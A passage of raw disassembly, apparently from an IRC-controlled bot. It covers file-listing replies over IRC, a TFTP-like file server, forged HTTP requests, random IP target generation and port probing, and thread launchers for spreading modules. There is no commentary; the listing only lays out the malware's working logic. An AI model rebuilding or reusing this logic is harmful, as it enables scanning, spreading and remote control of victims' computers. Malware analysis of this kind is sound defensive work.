[ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_415A6A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A408 lea eax, [ebp+var_35C] push eax call sub_415CF0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4068C8 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4068CD ; --------------------------------------------------------------------------- loc_4068C8: ; CODE XREF: sub_4063B0+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4068CD: ; CODE XREF: sub_4063B0+516j lea eax, [ebp+var_248] push edi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A408 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_415A6A add esp, 1Ch jmp short loc_40694E ; --------------------------------------------------------------------------- loc_406928: ; CODE XREF: sub_4063B0+47Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_40693F: ; CODE XREF: sub_4063B0+407j lea eax, [ebp+var_248] push eax call sub_415A6A add esp, 18h loc_40694E: ; CODE XREF: sub_4063B0+31Dj ; sub_4063B0+449j ... lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A408 cmp [ebp+arg_8], ebx jz short loc_40697D push 7D0h call dword_421060 loc_40697D: ; CODE XREF: sub_4063B0+226j ; sub_4063B0+241j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call dword_4210A4 test eax, eax jnz loc_4065D0 loc_406995: ; CODE XREF: sub_4063B0+215j push [ebp+arg_0] call dword_421098 cmp [ebp+arg_8], ebx jz short loc_4069D8 mov eax, [ebp+var_8] cdq push edx push eax call sub_40C218 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40C218 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_4154E7 add esp, 14h jmp short loc_406A0C ; --------------------------------------------------------------------------- loc_4069D8: ; CODE XREF: sub_4063B0+5F1j cmp [ebp+arg_C], ebx jz short loc_4069F2 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_4154E7 pop ecx pop ecx jmp short loc_406A0C ; --------------------------------------------------------------------------- loc_4069F2: ; CODE XREF: sub_4063B0+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_4154E7 add esp, 10h loc_406A0C: ; CODE XREF: sub_4063B0+626j ; sub_4063B0+640j lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A408 pop edi pop esi xor eax, eax pop ebx leave retn sub_4063B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A32 proc near ; CODE XREF: sub_405F7E+13Bp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call dword_421078 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406AEA push esi push ebx call dword_421090 cmp eax, esi mov [ebp+arg_4], eax jz short loc_406AE3 loc_406A77: ; CODE XREF: sub_406A32+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_415570 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_406A94 mov edi, [ebp+arg_4] loc_406A94: ; CODE XREF: sub_406A32+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call dword_4210AC lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call dword_421068 push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_43A408 cmp eax, 0FFFFFFFFh jnz short loc_406ADE call dword_43A34C cmp eax, 2733h jnz short loc_406AE3 xor eax, eax loc_406ADE: ; CODE XREF: sub_406A32+9Bj sub [ebp+arg_4], eax jnz short loc_406A77 loc_406AE3: ; CODE XREF: sub_406A32+43j ; sub_406A32+A8j push ebx call dword_42106C loc_406AEA: ; CODE XREF: sub_406A32+30j pop edi pop esi pop ebx leave retn sub_406A32 endp ; =============== S U B R O U T I N E ======================================= sub_406AEF proc near ; CODE XREF: sub_406100+17Cp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_415CF0 test eax, eax pop ecx jbe short loc_406B18 loc_406B02: ; CODE XREF: sub_406AEF+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_406B0C mov byte ptr [esi+edi], 2Fh loc_406B0C: ; CODE XREF: sub_406AEF+17j push edi inc esi call sub_415CF0 cmp esi, eax pop ecx jb short loc_406B02 loc_406B18: ; CODE XREF: sub_406AEF+11j mov eax, edi pop edi pop esi retn sub_406AEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B1D proc near ; CODE XREF: sub_40CE55+2AD5p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_43A330 push 6 push 1 push 2 call dword_43A438 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415570 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_43A3B8 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A05B pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43A360 cmp eax, 0FFFFFFFFh jz short loc_406BFA mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_406B96 mov eax, offset byte_438FDC loc_406B96: ; CODE XREF: sub_406B1D+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_415A6A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_43A408 push esi lea eax, [ebp+var_110] push edi push eax call sub_4155D0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_43A3D0 pop esi loc_406BFA: ; CODE XREF: sub_406B1D+6Bj push ebx call dword_43A450 call dword_43A318 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_4154E7 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406C3A push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_406C3A: ; CODE XREF: sub_406B1D+102j pop edi pop ebx leave retn sub_406B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C3E proc near ; CODE XREF: sub_406C3E:loc_407129p ; DATA XREF: sub_407276+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_43A438 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_406D01 push 190h call dword_421060 call dword_43A34C push eax lea eax, [ebp+var_780] push offset unk_4272BC push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_406CE1 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_412D4C add esp, 14h loc_406CE1: ; CODE XREF: sub_406C3E+7Ej lea eax, [ebp+var_780] push eax call sub_40B16D push [ebp+var_170] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 loc_406D01: ; CODE XREF: sub_406C3E+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_43F554[eax], edi lea eax, [ebp+var_44] push eax call sub_415570 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_43A3B8 mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_43A3E4 cmp eax, 0FFFFFFFFh jnz short loc_406D66 push 1388h call dword_421060 dec [ebp+var_16C] push [ebp+arg_0] jmp loc_407129 ; --------------------------------------------------------------------------- loc_406D66: ; CODE XREF: sub_406C3E+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_415BE8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_406DE4 push 190h call dword_421060 lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_42726C push eax call sub_4154E7 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_412D4C lea eax, [ebp+var_780] push eax call sub_40B16D push [ebp+var_170] call sub_4152AF add esp, 28h push ebx call dword_421048 loc_406DE4: ; CODE XREF: sub_406C3E+140j mov esi, 200h loc_406DE9: ; CODE XREF: sub_406C3E+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_4070E9 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_415570 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_43A3A0 test eax, eax jle loc_4070DD mov al, byte_438FDC mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_43A390 push [ebp+var_28] mov [ebp+var_C], eax call dword_43A444 push eax lea eax, [ebp+var_58] push eax call sub_4154E7 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_4070C7 cmp [ebp+var_D7], 1 jnz loc_407013 lea eax, [ebp+var_274] push eax call sub_415CF0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_415CF0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_416ED0 add esp, 14h test eax, eax jnz loc_406FCD lea eax, [ebp+var_1C] push eax call sub_415CF0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_416ED0 add esp, 10h test eax, eax jnz loc_406FCD push ebx push ebx push [ebp+var_8] call sub_416E3E push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_416BB0 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_43A41C lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset unk_427218 loc_406F81: ; CODE XREF: sub_406C3E+484j lea eax, [ebp+var_780] push eax call sub_4154E7 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_406FBB push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_412D4C add esp, 14h loc_406FBB: ; CODE XREF: sub_406C3E+358j lea eax, [ebp+var_780] push eax call sub_40B16D pop ecx jmp loc_4070DD ; --------------------------------------------------------------------------- loc_406FCD: ; CODE XREF: sub_406C3E+2B6j ; sub_406C3E+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_427204 push edi call dword_43A41C lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_4271C8 push eax call sub_4154E7 lea eax, [ebp+var_D8] push eax call sub_40B16D add esp, 14h jmp loc_4070DD ; --------------------------------------------------------------------------- loc_407013: ; CODE XREF: sub_406C3E+275j cmp [ebp+var_D7], 4 jnz loc_4070C7 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_407050 inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_40705E ; --------------------------------------------------------------------------- loc_407050: ; CODE XREF: sub_406C3E+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_40705E: ; CODE XREF: sub_406C3E+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_416E3E push [ebp+var_8] loc_40707B: ; DATA XREF: .nsp0:00424DA8o ; .nsp0:00424DBCo ... lea eax, [ebp+var_57C] push esi push 1 push eax call sub_416BB0 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_43A41C cmp edi, ebx jnz short loc_4070DD lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_427178 jmp loc_406F81 ; --------------------------------------------------------------------------- loc_4070C7: ; CODE XREF: sub_406C3E+268j ; sub_406C3E+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_42716C push edi call dword_43A41C loc_4070DD: ; CODE XREF: sub_406C3E+204j ; sub_406C3E+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_406DE9 loc_4070E9: ; CODE XREF: sub_406C3E+1B4j push edi call dword_43A450 push [ebp+var_8] call sub_415B40 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_40711D push [ebp+var_170] call sub_4152AF pop ecx push ebx call dword_421048 loc_40711D: ; CODE XREF: sub_406C3E+4CAj push 3E8h call dword_421060 push esi loc_407129: ; CODE XREF: sub_406C3E+123j call sub_406C3E pop edi pop esi pop ebx leave retn 4 sub_406C3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407135 proc near ; CODE XREF: sub_40CE55+5799p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4276DC push eax xor ebx, ebx call sub_4154E7 cmp dword_427338, ebx pop ecx pop ecx mov edi, 200h jz short loc_4071A3 push esi mov esi, offset dword_427340 loc_407168: ; CODE XREF: sub_407135+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_4154E7 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_416F10 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_407168 pop esi loc_4071A3: ; CODE XREF: sub_407135+2Bj push dword_468838 call sub_40A9B2 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_4154E7 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_416F10 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_200] push eax call sub_40B16D add esp, 38h pop edi pop ebx leave retn sub_407135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071FF proc near ; CODE XREF: sub_40CE55+5106p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_4151DB test eax, eax pop ecx jle short loc_40723B mov eax, [ebp+arg_C] push dword_439008[eax*8] call dword_43A444 push eax lea eax, [ebp+var_200] push offset unk_427748 push eax call sub_4154E7 add esp, 0Ch jmp short loc_40724E ; --------------------------------------------------------------------------- loc_40723B: ; CODE XREF: sub_4071FF+13j lea eax, [ebp+var_200] push offset unk_427714 push eax call sub_4154E7 pop ecx pop ecx loc_40724E: ; CODE XREF: sub_4071FF+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_200] push eax call sub_40B16D add esp, 18h leave retn sub_4071FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407276 proc near ; CODE XREF: sub_40799F+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_407606 imul eax, 3Ch xor ebx, ebx cmp dword_427344[eax], ebx jz loc_4074E7 push 4 call sub_4151DB test eax, eax pop ecx jnz loc_407606 mov eax, dword_42C188 push edi mov edi, offset dword_439984 push 104h push edi push ebx mov dword_439B94, eax mov dword_439B90, ebx call dword_42107C push 103h mov esi, offset dword_439A88 push offset byte_42C1FC push esi call sub_416D40 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_439980, eax mov eax, [ebp+arg_138] push 7Fh mov dword_439C18, eax jnz short loc_407329 lea eax, [ebp+arg_10] push eax push offset dword_439B98 call sub_416D40 add esp, 0Ch mov dword_439C1C, 1 jmp short loc_407343 ; --------------------------------------------------------------------------- loc_407329: ; CODE XREF: sub_407276+94j lea eax, [ebp+arg_90] push eax push offset dword_439B98 call sub_416D40 add esp, 0Ch mov dword_439C1C, ebx loc_407343: ; CODE XREF: sub_407276+B1j push esi push edi push dword_439B94 lea eax, [ebp+var_204] push offset unk_4278F4 push eax call sub_4154E7 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_414F93 add esp, 20h mov dword_439B8C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_439980 push offset sub_406C3E push ebx push ebx call dword_42108C mov ecx, dword_439B8C imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_4073B2 loc_4073A0: ; CODE XREF: sub_407276+13Aj cmp dword_439C20, ebx jnz short loc_4073CD push 32h call dword_421060 jmp short loc_4073A0 ; --------------------------------------------------------------------------- loc_4073B2: ; CODE XREF: sub_407276+128j call dword_421088 push eax lea eax, [ebp+var_204] push offset unk_4278AC push eax call sub_4154E7 add esp, 0Ch loc_4073CD: ; CODE XREF: sub_407276+130j lea eax, [ebp+var_204] push eax call sub_40B16D mov edi, offset dword_439FDC mov [esp+210h+var_210], 104h push edi push ebx mov dword_43A1E8, ebx call dword_42107C push 103h mov esi, offset dword_43A0E0 push offset byte_42C1FC push esi call sub_416D40 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_439FD8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43A270, eax jnz short loc_407448 lea eax, [ebp+arg_10] push eax push offset dword_43A1F0 call sub_416D40 add esp, 0Ch mov dword_43A274, 1 jmp short loc_407462 ; --------------------------------------------------------------------------- loc_407448: ; CODE XREF: sub_407276+1B3j lea eax, [ebp+arg_90] push eax push offset dword_43A1F0 call sub_416D40 add esp, 0Ch mov dword_43A274, ebx loc_407462: ; CODE XREF: sub_407276+1D0j push esi push edi push dword_43A1EC lea eax, [ebp+var_204] push offset dword_427858 push eax call sub_4154E7 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_414F93 add esp, 20h mov dword_43A1E4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_439FD8 push offset sub_405409 push ebx push ebx call dword_42108C mov ecx, dword_43A1E4 pop edi imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_4074D6 loc_4074C0: ; CODE XREF: sub_407276+25Ej cmp dword_43A278, ebx jnz loc_4075F9 push 32h call dword_421060 jmp short loc_4074C0 ; --------------------------------------------------------------------------- loc_4074D6: ; CODE XREF: sub_407276+248j call dword_421088 push eax push offset dword_427814 jmp loc_4075EA ; --------------------------------------------------------------------------- loc_4074E7: ; CODE XREF: sub_407276+25j cmp dword_427348[eax], ebx jz loc_407606 push 3 call sub_4151DB test eax, eax pop ecx jnz loc_407606 mov esi, offset dword_439EB4 push 104h push esi push ebx call dword_42107C push 5Ch push esi call sub_417040 pop ecx cmp eax, ebx pop ecx jz short loc_407525 mov [eax], bl loc_407525: ; CODE XREF: sub_407276+2ABj mov eax, dword_42C18C mov dword_439FCC, ebx mov dword_439FB8, eax lea eax, [ebp+arg_10] push eax push offset dword_439C2C call sub_4154E7 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_439C28, eax mov ecx, [ebp+arg_138] push esi push dword_439FB8 mov dword_439FC4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_439FC8, ecx call sub_40A171 pop ecx push eax lea eax, [ebp+var_204] push offset unk_4277C4 push eax call sub_4154E7 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_414F93 add esp, 20h mov dword_439FC0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_439C28 push offset sub_405B23 push ebx push ebx call dword_42108C mov ecx, dword_439FC0 imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_4075DE loc_4075CC: ; CODE XREF: sub_407276+366j cmp dword_439FD4, ebx jnz short loc_4075F9 push 32h call dword_421060 jmp short loc_4075CC ; --------------------------------------------------------------------------- loc_4075DE: ; CODE XREF: sub_407276+354j call dword_421088 push eax push offset unk_42777C loc_4075EA: ; CODE XREF: sub_407276+26Cj lea eax, [ebp+var_204] push eax call sub_4154E7 add esp, 0Ch loc_4075F9: ; CODE XREF: sub_407276+250j ; sub_407276+35Cj lea eax, [ebp+var_204] push eax call sub_40B16D pop ecx loc_407606: ; CODE XREF: sub_407276+14j ; sub_407276+35j ... pop esi pop ebx leave retn sub_407276 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40760A proc near ; CODE XREF: sub_40778B:loc_4077FCp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:439008h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_4155D0 add esp, 0Ch push [ebp+arg_0] call dword_43A2EC inc eax push eax mov [ebp+arg_0], eax call dword_43A3B4 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_4155D0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40760A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407652 proc near ; CODE XREF: sub_40778B+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_415CF0 cmp eax, 0Fh pop ecx jbe short loc_40767A xor eax, eax jmp short loc_4076EB ; --------------------------------------------------------------------------- loc_40767A: ; CODE XREF: sub_407652+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_416AA0 add esp, 18h cmp [ebp+var_C], esi jnz short loc_4076A7 call sub_415543 mov [ebp+var_C], eax loc_4076A7: ; CODE XREF: sub_407652+4Bj cmp [ebp+var_8], esi jnz short loc_4076B4 call sub_415543 mov [ebp+var_8], eax loc_4076B4: ; CODE XREF: sub_407652+58j cmp [ebp+var_4], esi jnz short loc_4076C1 call sub_415543 mov [ebp+var_4], eax loc_4076C1: ; CODE XREF: sub_407652+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4076CD call sub_415543 loc_4076CD: ; CODE XREF: sub_407652+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_439008[ecx*8], eax loc_4076EB: ; CODE XREF: sub_407652+26j pop esi leave retn sub_407652 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076EE proc near ; CODE XREF: sub_40778B+B8p ; sub_412B98+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_43A438 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_407717 xor eax, eax jmp short loc_407786 ; --------------------------------------------------------------------------- loc_407717: ; CODE XREF: sub_4076EE+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_43A3B8 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_43A454 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_43A360 mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_43A3A0 push esi mov edi, eax call dword_43A450 xor eax, eax cmp edi, ebx setnle al loc_407786: ; CODE XREF: sub_4076EE+27j pop edi pop esi pop ebx leave retn sub_4076EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40778B proc near ; DATA XREF: sub_40799F+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call dword_42104C push eax call sub_415539 mov ebx, esi pop ecx imul ebx, 234h loc_4077D2: ; CODE XREF: sub_40778B+200j mov eax, dword_43F54C[ebx] 